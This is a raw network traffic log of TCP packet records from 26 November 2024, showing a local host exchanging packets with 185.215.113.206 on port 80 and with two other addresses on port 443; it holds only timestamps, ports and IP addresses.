Nov 26, 2024 08:03:20.625953913 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.626835108 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.626882076 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.626944065 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.626981974 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.627754927 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.627809048 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.627933025 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.627979994 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.628776073 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.628829956 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.628849983 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.628879070 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.629760981 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.629812956 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.629821062 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.629859924 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.630781889 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.630896091 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.630916119 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.630974054 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.631742954 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.631786108 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.631863117 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.631906033 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.632790089 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.632838011 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.632846117 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.632879019 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.633735895 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.633780003 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.633822918 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.633862972 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.634673119 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.634720087 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.634804964 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.634849072 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.635730982 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.635770082 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.635818958 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.635859013 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.636817932 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.636833906 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.636863947 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.636878967 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.637716055 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.637761116 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.637830019 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.637864113 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.638803959 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.638845921 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.638923883 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.638958931 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.639650106 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.639705896 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.639763117 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.639800072 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.640633106 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.640676022 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.640942097 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.640990973 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.641658068 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.641700983 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.641732931 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.641782045 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.702548027 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.702577114 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.702611923 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.702631950 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.702999115 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.703042030 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.703063011 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.703094006 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.704029083 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.704080105 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.704101086 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.704142094 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.704936028 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.704982996 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.705169916 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.705210924 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.705935955 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.705977917 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.706123114 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.706166983 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.706974030 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.707017899 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.707087040 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.707134008 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.707905054 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.707948923 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.708005905 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.708045006 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.708901882 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.708935976 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.708942890 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.708971977 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.709924936 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.709969044 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.710006952 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.710051060 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.710901976 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.710947990 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.711098909 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.711143017 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.711919069 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.711966991 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.712074041 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.712116003 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.712846994 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.712894917 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.713001966 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.713044882 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.713866949 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.713920116 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.713932037 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.713972092 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.714821100 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.714868069 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.739667892 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.739690065 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.739764929 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.739991903 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.740046024 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.740137100 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.740185022 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.740928888 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.740977049 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:22.682451010 CET	49708	443	192.168.2.8	142.250.181.100
Nov 26, 2024 08:03:22.682480097 CET	443	49708	142.250.181.100	192.168.2.8
Nov 26, 2024 08:03:22.682528019 CET	49708	443	192.168.2.8	142.250.181.100
Nov 26, 2024 08:03:22.682634115 CET	49709	443	192.168.2.8	142.250.181.100
Nov 26, 2024 08:03:22.682670116 CET	443	49709	142.250.181.100	192.168.2.8
Nov 26, 2024 08:03:22.682720900 CET	49709	443	192.168.2.8	142.250.181.100
Nov 26, 2024 08:03:22.682795048 CET	49710	443	192.168.2.8	142.250.181.100
Nov 26, 2024 08:03:22.682811975 CET	443	49710	142.250.181.100	192.168.2.8
Nov 26, 2024 08:03:22.682933092 CET	49711	443	192.168.2.8	142.250.181.100
Nov 26, 2024 08:03:22.682940960 CET	443	49711	142.250.181.100	192.168.2.8
Nov 26, 2024 08:03:22.682960033 CET	49710	443	192.168.2.8	142.250.181.100
Nov 26, 2024 08:03:22.682991028 CET	49711	443	192.168.2.8	142.250.181.100
Nov 26, 2024 08:03:22.683191061 CET	49709	443	192.168.2.8	142.250.181.100
Nov 26, 2024 08:03:22.683207035 CET	443	49709	142.250.181.100	192.168.2.8
Nov 26, 2024 08:03:22.683330059 CET	49708	443	192.168.2.8	142.250.181.100
Nov 26, 2024 08:03:22.683342934 CET	443	49708	142.250.181.100	192.168.2.8
Nov 26, 2024 08:03:22.683563948 CET	49710	443	192.168.2.8	142.250.181.100
Nov 26, 2024 08:03:22.683584929 CET	443	49710	142.250.181.100	192.168.2.8
Nov 26, 2024 08:03:22.683693886 CET	49711	443	192.168.2.8	142.250.181.100
Nov 26, 2024 08:03:22.683706045 CET	443	49711	142.250.181.100	192.168.2.8
Nov 26, 2024 08:03:23.971194029 CET	49714	443	192.168.2.8	20.109.210.53
Nov 26, 2024 08:03:23.971262932 CET	443	49714	20.109.210.53	192.168.2.8
Nov 26, 2024 08:03:23.971349001 CET	49714	443	192.168.2.8	20.109.210.53
Nov 26, 2024 08:03:23.973066092 CET	49714	443	192.168.2.8	20.109.210.53
Nov 26, 2024 08:03:23.973086119 CET	443	49714	20.109.210.53	192.168.2.8
Nov 26, 2024 08:03:24.223061085 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:24.223117113 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:24.385234118 CET	443	49709	142.250.181.100	192.168.2.8
Nov 26, 2024 08:03:24.385442019 CET	443	49708	142.250.181.100	192.168.2.8
Nov 26, 2024 08:03:24.385596037 CET	49709	443	192.168.2.8	142.250.181.100
Nov 26, 2024 08:03:24.385624886 CET	443	49709	142.250.181.100	192.168.2.8
Nov 26, 2024 08:03:24.385715008 CET	49708	443	192.168.2.8	142.250.181.100
Nov 26, 2024 08:03:24.385727882 CET	443	49708	142.250.181.100	192.168.2.8
Nov 26, 2024 08:03:24.386883974 CET	443	49709	142.250.181.100	192.168.2.8
Nov 26, 2024 08:03:24.386923075 CET	443	49708	142.250.181.100	192.168.2.8
Nov 26, 2024 08:03:24.386940002 CET	49709	443	192.168.2.8	142.250.181.100
Nov 26, 2024 08:03:24.386995077 CET	49708	443	192.168.2.8	142.250.181.100
Nov 26, 2024 08:03:24.388123035 CET	49709	443	192.168.2.8	142.250.181.100
Nov 26, 2024 08:03:24.388175011 CET	443	49709	142.250.181.100	192.168.2.8
Nov 26, 2024 08:03:24.388334036 CET	49708	443	192.168.2.8	142.250.181.100
Nov 26, 2024 08:03:24.388398886 CET	443	49708	142.250.181.100	192.168.2.8
Nov 26, 2024 08:03:24.388432980 CET	49709	443	192.168.2.8	142.250.181.100
Nov 26, 2024 08:03:24.388439894 CET	443	49709	142.250.181.100	192.168.2.8
Nov 26, 2024 08:03:24.388547897 CET	49708	443	192.168.2.8	142.250.181.100
Nov 26, 2024 08:03:24.388551950 CET	443	49710	142.250.181.100	192.168.2.8
Nov 26, 2024 08:03:24.388556957 CET	443	49708	142.250.181.100	192.168.2.8
Nov 26, 2024 08:03:24.388753891 CET	49710	443	192.168.2.8	142.250.181.100
Nov 26, 2024 08:03:24.388762951 CET	443	49710	142.250.181.100	192.168.2.8
Nov 26, 2024 08:03:24.389710903 CET	443	49710	142.250.181.100	192.168.2.8
Nov 26, 2024 08:03:24.389770985 CET	49710	443	192.168.2.8	142.250.181.100
Nov 26, 2024 08:03:24.390901089 CET	49710	443	192.168.2.8	142.250.181.100
Nov 26, 2024 08:03:24.390964985 CET	443	49710	142.250.181.100	192.168.2.8
Nov 26, 2024 08:03:24.391040087 CET	49710	443	192.168.2.8	142.250.181.100
Nov 26, 2024 08:03:24.421165943 CET	443	49711	142.250.181.100	192.168.2.8
Nov 26, 2024 08:03:24.424458981 CET	49711	443	192.168.2.8	142.250.181.100
Nov 26, 2024 08:03:24.424467087 CET	443	49711	142.250.181.100	192.168.2.8
Nov 26, 2024 08:03:24.425462961 CET	443	49711	142.250.181.100	192.168.2.8
Nov 26, 2024 08:03:24.425535917 CET	49711	443	192.168.2.8	142.250.181.100
Nov 26, 2024 08:03:24.426008940 CET	49711	443	192.168.2.8	142.250.181.100
Nov 26, 2024 08:03:24.426070929 CET	443	49711	142.250.181.100	192.168.2.8
Nov 26, 2024 08:03:24.426414967 CET	49711	443	192.168.2.8	142.250.181.100
Nov 26, 2024 08:03:24.426422119 CET	443	49711	142.250.181.100	192.168.2.8
Nov 26, 2024 08:03:24.428416014 CET	49709	443	192.168.2.8	142.250.181.100
Nov 26, 2024 08:03:24.431329012 CET	443	49710	142.250.181.100	192.168.2.8
Nov 26, 2024 08:03:24.444031000 CET	49710	443	192.168.2.8	142.250.181.100
Nov 26, 2024 08:03:24.444045067 CET	443	49710	142.250.181.100	192.168.2.8
Nov 26, 2024 08:03:24.444077969 CET	49708	443	192.168.2.8	142.250.181.100
Nov 26, 2024 08:03:24.475284100 CET	49711	443	192.168.2.8	142.250.181.100
Nov 26, 2024 08:03:24.490942955 CET	49710	443	192.168.2.8	142.250.181.100
Nov 26, 2024 08:03:24.787764072 CET	49708	443	192.168.2.8	142.250.181.100
Nov 26, 2024 08:03:24.787997961 CET	443	49708	142.250.181.100	192.168.2.8
Nov 26, 2024 08:03:24.788064957 CET	49708	443	192.168.2.8	142.250.181.100
Nov 26, 2024 08:03:25.234013081 CET	443	49710	142.250.181.100	192.168.2.8
Nov 26, 2024 08:03:25.234051943 CET	443	49710	142.250.181.100	192.168.2.8
Nov 26, 2024 08:03:25.234083891 CET	443	49710	142.250.181.100	192.168.2.8
Nov 26, 2024 08:03:25.234105110 CET	443	49710	142.250.181.100	192.168.2.8
Nov 26, 2024 08:03:25.234114885 CET	49710	443	192.168.2.8	142.250.181.100
Nov 26, 2024 08:03:25.234131098 CET	443	49710	142.250.181.100	192.168.2.8
Nov 26, 2024 08:03:25.234160900 CET	49710	443	192.168.2.8	142.250.181.100
Nov 26, 2024 08:03:25.248291969 CET	443	49710	142.250.181.100	192.168.2.8
Nov 26, 2024 08:03:25.248315096 CET	443	49710	142.250.181.100	192.168.2.8
Nov 26, 2024 08:03:25.248356104 CET	49710	443	192.168.2.8	142.250.181.100
Nov 26, 2024 08:03:25.248368979 CET	443	49710	142.250.181.100	192.168.2.8
Nov 26, 2024 08:03:25.248416901 CET	49710	443	192.168.2.8	142.250.181.100
Nov 26, 2024 08:03:25.253413916 CET	443	49710	142.250.181.100	192.168.2.8
Nov 26, 2024 08:03:25.266280890 CET	443	49710	142.250.181.100	192.168.2.8
Nov 26, 2024 08:03:25.266334057 CET	49710	443	192.168.2.8	142.250.181.100
Nov 26, 2024 08:03:25.266350985 CET	443	49710	142.250.181.100	192.168.2.8
Nov 26, 2024 08:03:25.275965929 CET	443	49711	142.250.181.100	192.168.2.8
Nov 26, 2024 08:03:25.276099920 CET	443	49711	142.250.181.100	192.168.2.8
Nov 26, 2024 08:03:25.276163101 CET	49711	443	192.168.2.8	142.250.181.100
Nov 26, 2024 08:03:25.276947975 CET	49711	443	192.168.2.8	142.250.181.100
Nov 26, 2024 08:03:25.276967049 CET	443	49711	142.250.181.100	192.168.2.8
Nov 26, 2024 08:03:25.319082975 CET	49710	443	192.168.2.8	142.250.181.100
Nov 26, 2024 08:03:25.319104910 CET	443	49710	142.250.181.100	192.168.2.8
Nov 26, 2024 08:03:25.355525970 CET	443	49709	142.250.181.100	192.168.2.8
Nov 26, 2024 08:03:25.355582952 CET	443	49709	142.250.181.100	192.168.2.8
Nov 26, 2024 08:03:25.355606079 CET	443	49709	142.250.181.100	192.168.2.8
Nov 26, 2024 08:03:25.355648041 CET	49709	443	192.168.2.8	142.250.181.100
Nov 26, 2024 08:03:25.355663061 CET	443	49709	142.250.181.100	192.168.2.8
Nov 26, 2024 08:03:25.355710983 CET	49709	443	192.168.2.8	142.250.181.100
Nov 26, 2024 08:03:25.357276917 CET	443	49709	142.250.181.100	192.168.2.8
Nov 26, 2024 08:03:25.357429028 CET	443	49709	142.250.181.100	192.168.2.8
Nov 26, 2024 08:03:25.357481003 CET	49709	443	192.168.2.8	142.250.181.100
Nov 26, 2024 08:03:25.357557058 CET	49709	443	192.168.2.8	142.250.181.100
Nov 26, 2024 08:03:25.357563019 CET	443	49709	142.250.181.100	192.168.2.8
Nov 26, 2024 08:03:25.382500887 CET	49710	443	192.168.2.8	142.250.181.100
Nov 26, 2024 08:03:25.422502041 CET	443	49710	142.250.181.100	192.168.2.8
Nov 26, 2024 08:03:25.427023888 CET	443	49710	142.250.181.100	192.168.2.8
Nov 26, 2024 08:03:25.427092075 CET	49710	443	192.168.2.8	142.250.181.100
Nov 26, 2024 08:03:25.427124023 CET	443	49710	142.250.181.100	192.168.2.8
Nov 26, 2024 08:03:25.438626051 CET	443	49710	142.250.181.100	192.168.2.8
Nov 26, 2024 08:03:25.438719988 CET	49710	443	192.168.2.8	142.250.181.100
Nov 26, 2024 08:03:25.438740969 CET	443	49710	142.250.181.100	192.168.2.8
Nov 26, 2024 08:03:25.447453976 CET	443	49710	142.250.181.100	192.168.2.8
Nov 26, 2024 08:03:25.447514057 CET	49710	443	192.168.2.8	142.250.181.100
Nov 26, 2024 08:03:25.447532892 CET	443	49710	142.250.181.100	192.168.2.8
Nov 26, 2024 08:03:25.459813118 CET	443	49710	142.250.181.100	192.168.2.8
Nov 26, 2024 08:03:25.459887028 CET	49710	443	192.168.2.8	142.250.181.100
Nov 26, 2024 08:03:25.459896088 CET	443	49710	142.250.181.100	192.168.2.8
Nov 26, 2024 08:03:25.474076986 CET	443	49710	142.250.181.100	192.168.2.8
Nov 26, 2024 08:03:25.474133968 CET	49710	443	192.168.2.8	142.250.181.100
Nov 26, 2024 08:03:25.474140882 CET	443	49710	142.250.181.100	192.168.2.8
Nov 26, 2024 08:03:25.487140894 CET	443	49710	142.250.181.100	192.168.2.8
Nov 26, 2024 08:03:25.489429951 CET	49710	443	192.168.2.8	142.250.181.100
Nov 26, 2024 08:03:25.489448071 CET	443	49710	142.250.181.100	192.168.2.8
Nov 26, 2024 08:03:25.500345945 CET	443	49710	142.250.181.100	192.168.2.8
Nov 26, 2024 08:03:25.500572920 CET	49710	443	192.168.2.8	142.250.181.100
Nov 26, 2024 08:03:25.500588894 CET	443	49710	142.250.181.100	192.168.2.8
Nov 26, 2024 08:03:25.513703108 CET	443	49710	142.250.181.100	192.168.2.8
Nov 26, 2024 08:03:25.513782978 CET	49710	443	192.168.2.8	142.250.181.100
Nov 26, 2024 08:03:25.513798952 CET	443	49710	142.250.181.100	192.168.2.8
Nov 26, 2024 08:03:25.542574883 CET	443	49710	142.250.181.100	192.168.2.8
Nov 26, 2024 08:03:25.542612076 CET	443	49710	142.250.181.100	192.168.2.8
Nov 26, 2024 08:03:25.542643070 CET	49710	443	192.168.2.8	142.250.181.100
Nov 26, 2024 08:03:25.542680025 CET	443	49710	142.250.181.100	192.168.2.8
Nov 26, 2024 08:03:25.542746067 CET	49710	443	192.168.2.8	142.250.181.100
Nov 26, 2024 08:03:25.546341896 CET	443	49710	142.250.181.100	192.168.2.8
Nov 26, 2024 08:03:25.549727917 CET	443	49710	142.250.181.100	192.168.2.8
Nov 26, 2024 08:03:25.549827099 CET	49710	443	192.168.2.8	142.250.181.100
Nov 26, 2024 08:03:25.549843073 CET	443	49710	142.250.181.100	192.168.2.8
Nov 26, 2024 08:03:25.600414038 CET	49710	443	192.168.2.8	142.250.181.100
Nov 26, 2024 08:03:25.613548994 CET	443	49710	142.250.181.100	192.168.2.8
Nov 26, 2024 08:03:25.616785049 CET	443	49710	142.250.181.100	192.168.2.8
Nov 26, 2024 08:03:25.616849899 CET	49710	443	192.168.2.8	142.250.181.100
Nov 26, 2024 08:03:25.616858959 CET	443	49710	142.250.181.100	192.168.2.8
Nov 26, 2024 08:03:25.625217915 CET	443	49710	142.250.181.100	192.168.2.8
Nov 26, 2024 08:03:25.625287056 CET	49710	443	192.168.2.8	142.250.181.100
Nov 26, 2024 08:03:25.625293970 CET	443	49710	142.250.181.100	192.168.2.8
Nov 26, 2024 08:03:25.632425070 CET	443	49710	142.250.181.100	192.168.2.8
Nov 26, 2024 08:03:25.632477045 CET	443	49710	142.250.181.100	192.168.2.8
Nov 26, 2024 08:03:25.632489920 CET	49710	443	192.168.2.8	142.250.181.100
Nov 26, 2024 08:03:25.632499933 CET	443	49710	142.250.181.100	192.168.2.8
Nov 26, 2024 08:03:25.632683992 CET	49710	443	192.168.2.8	142.250.181.100
Nov 26, 2024 08:03:25.645695925 CET	443	49710	142.250.181.100	192.168.2.8
Nov 26, 2024 08:03:25.652990103 CET	443	49710	142.250.181.100	192.168.2.8
Nov 26, 2024 08:03:25.653064013 CET	49710	443	192.168.2.8	142.250.181.100
Nov 26, 2024 08:03:25.653074026 CET	443	49710	142.250.181.100	192.168.2.8
Nov 26, 2024 08:03:25.653084993 CET	443	49710	142.250.181.100	192.168.2.8
Nov 26, 2024 08:03:25.653130054 CET	49710	443	192.168.2.8	142.250.181.100
Nov 26, 2024 08:03:25.664820910 CET	443	49710	142.250.181.100	192.168.2.8
Nov 26, 2024 08:03:25.676948071 CET	443	49710	142.250.181.100	192.168.2.8
Nov 26, 2024 08:03:25.676985979 CET	443	49710	142.250.181.100	192.168.2.8
Nov 26, 2024 08:03:25.677011967 CET	49710	443	192.168.2.8	142.250.181.100
Nov 26, 2024 08:03:25.677026987 CET	443	49710	142.250.181.100	192.168.2.8
Nov 26, 2024 08:03:25.677098036 CET	49710	443	192.168.2.8	142.250.181.100
Nov 26, 2024 08:03:25.677635908 CET	443	49714	20.109.210.53	192.168.2.8
Nov 26, 2024 08:03:25.677709103 CET	49714	443	192.168.2.8	20.109.210.53
Nov 26, 2024 08:03:25.681297064 CET	49714	443	192.168.2.8	20.109.210.53
Nov 26, 2024 08:03:25.681308031 CET	443	49714	20.109.210.53	192.168.2.8
Nov 26, 2024 08:03:25.681592941 CET	443	49714	20.109.210.53	192.168.2.8
Nov 26, 2024 08:03:25.688260078 CET	443	49710	142.250.181.100	192.168.2.8
Nov 26, 2024 08:03:25.699110985 CET	443	49710	142.250.181.100	192.168.2.8
Nov 26, 2024 08:03:25.699143887 CET	443	49710	142.250.181.100	192.168.2.8
Nov 26, 2024 08:03:25.699156046 CET	49710	443	192.168.2.8	142.250.181.100
Nov 26, 2024 08:03:25.699163914 CET	443	49710	142.250.181.100	192.168.2.8
Nov 26, 2024 08:03:25.699245930 CET	49710	443	192.168.2.8	142.250.181.100
Nov 26, 2024 08:03:25.709733009 CET	443	49710	142.250.181.100	192.168.2.8
Nov 26, 2024 08:03:25.720565081 CET	443	49710	142.250.181.100	192.168.2.8
Nov 26, 2024 08:03:25.720618010 CET	443	49710	142.250.181.100	192.168.2.8
Nov 26, 2024 08:03:25.720627069 CET	49710	443	192.168.2.8	142.250.181.100
Nov 26, 2024 08:03:25.720634937 CET	443	49710	142.250.181.100	192.168.2.8
Nov 26, 2024 08:03:25.720674992 CET	49710	443	192.168.2.8	142.250.181.100
Nov 26, 2024 08:03:25.725423098 CET	49714	443	192.168.2.8	20.109.210.53
Nov 26, 2024 08:03:25.731404066 CET	443	49710	142.250.181.100	192.168.2.8
Nov 26, 2024 08:03:25.741672039 CET	443	49710	142.250.181.100	192.168.2.8
Nov 26, 2024 08:03:25.741719007 CET	443	49710	142.250.181.100	192.168.2.8
Nov 26, 2024 08:03:25.741755009 CET	49710	443	192.168.2.8	142.250.181.100
Nov 26, 2024 08:03:25.741764069 CET	443	49710	142.250.181.100	192.168.2.8
Nov 26, 2024 08:03:25.741863012 CET	49710	443	192.168.2.8	142.250.181.100
Nov 26, 2024 08:03:25.753078938 CET	443	49710	142.250.181.100	192.168.2.8
Nov 26, 2024 08:03:25.761307001 CET	443	49710	142.250.181.100	192.168.2.8
Nov 26, 2024 08:03:25.761344910 CET	443	49710	142.250.181.100	192.168.2.8
Nov 26, 2024 08:03:25.761415958 CET	49710	443	192.168.2.8	142.250.181.100
Nov 26, 2024 08:03:25.761425972 CET	443	49710	142.250.181.100	192.168.2.8
Nov 26, 2024 08:03:25.761473894 CET	49710	443	192.168.2.8	142.250.181.100
Nov 26, 2024 08:03:25.770282030 CET	443	49710	142.250.181.100	192.168.2.8
Nov 26, 2024 08:03:25.779087067 CET	443	49710	142.250.181.100	192.168.2.8
Nov 26, 2024 08:03:25.779150009 CET	49710	443	192.168.2.8	142.250.181.100
Nov 26, 2024 08:03:25.779161930 CET	443	49710	142.250.181.100	192.168.2.8
Nov 26, 2024 08:03:25.787592888 CET	443	49710	142.250.181.100	192.168.2.8
Nov 26, 2024 08:03:25.787661076 CET	443	49710	142.250.181.100	192.168.2.8
Nov 26, 2024 08:03:25.787689924 CET	49710	443	192.168.2.8	142.250.181.100
Nov 26, 2024 08:03:25.787699938 CET	443	49710	142.250.181.100	192.168.2.8
Nov 26, 2024 08:03:25.787791967 CET	49710	443	192.168.2.8	142.250.181.100
Nov 26, 2024 08:03:25.796329975 CET	443	49710	142.250.181.100	192.168.2.8
Nov 26, 2024 08:03:25.796433926 CET	443	49710	142.250.181.100	192.168.2.8
Nov 26, 2024 08:03:25.796500921 CET	49710	443	192.168.2.8	142.250.181.100
Nov 26, 2024 08:03:25.796509027 CET	443	49710	142.250.181.100	192.168.2.8
Nov 26, 2024 08:03:25.805179119 CET	443	49710	142.250.181.100	192.168.2.8
Nov 26, 2024 08:03:25.805316925 CET	49710	443	192.168.2.8	142.250.181.100
Nov 26, 2024 08:03:25.805326939 CET	443	49710	142.250.181.100	192.168.2.8
